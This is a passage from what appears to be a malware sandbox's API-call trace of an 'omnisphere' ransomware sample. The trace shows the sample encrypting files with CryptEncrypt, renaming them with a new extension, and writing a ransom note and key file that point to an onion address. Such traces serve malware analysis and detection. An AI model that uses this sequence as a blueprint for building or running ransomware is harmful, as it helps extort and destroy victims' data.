pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.987] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.988] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.989] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.989] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0118.989] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x55c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.989] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.990] GetProcessHeap () returned 0x1600000 [0118.990] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16b0880 [0118.990] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5fvi.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5fvi.lnk.omnisphere")) returned 1 [0118.990] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk.omnisphere.id" [0118.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5fvi.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.991] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.991] CloseHandle (hObject=0x3c0) returned 1 [0118.992] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.992] CloseHandle (hObject=0x288) returned 1 [0118.993] SetEndOfFile (hFile=0x28c) returned 1 [0118.993] FlushFileBuffers (hFile=0x28c) returned 1 [0118.997] CloseHandle (hObject=0x28c) returned 1 [0118.997] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Fvi.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.997] GetProcessHeap () returned 0x1600000 [0118.997] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b0b30 [0118.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.997] GetProcessHeap () returned 0x1600000 [0118.997] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693e90 [0118.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693e90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.997] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.997] GetProcessHeap () returned 0x1600000 [0118.997] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afbc8 [0118.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afbc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.997] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.997] GetProcessHeap () returned 0x1600000 [0118.997] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1b20 [0118.997] PathCombineW (in: pszDest=0x16a1b20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.997] GetProcessHeap () returned 0x1600000 [0118.997] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a62a0 [0118.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.998] WriteFile (in: hFile=0x28c, lpBuffer=0x16a62a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a62a0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.998] CloseHandle (hObject=0x28c) returned 1 [0118.998] GetProcessHeap () returned 0x1600000 [0118.998] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0b30 | out: hHeap=0x1600000) returned 1 [0118.998] GetProcessHeap () returned 0x1600000 [0118.998] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.998] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.998] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.998] CloseHandle (hObject=0x28c) returned 1 [0118.998] GetProcessHeap () returned 0x1600000 [0118.999] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.999] GetProcessHeap () returned 0x1600000 [0118.999] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165eb88 | out: hHeap=0x1600000) returned 1 [0118.999] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7580207, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x208df2b7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x208df2b7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0xd3, cFileName="5QADBusLM.lnk", cAlternateFileName="5QADBU~1.LNK")) returned 1 [0118.999] GetProcessHeap () returned 0x1600000 [0118.999] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656820 [0118.999] PathCombineW (in: pszDest=0x1656820, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="5QADBusLM.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk") 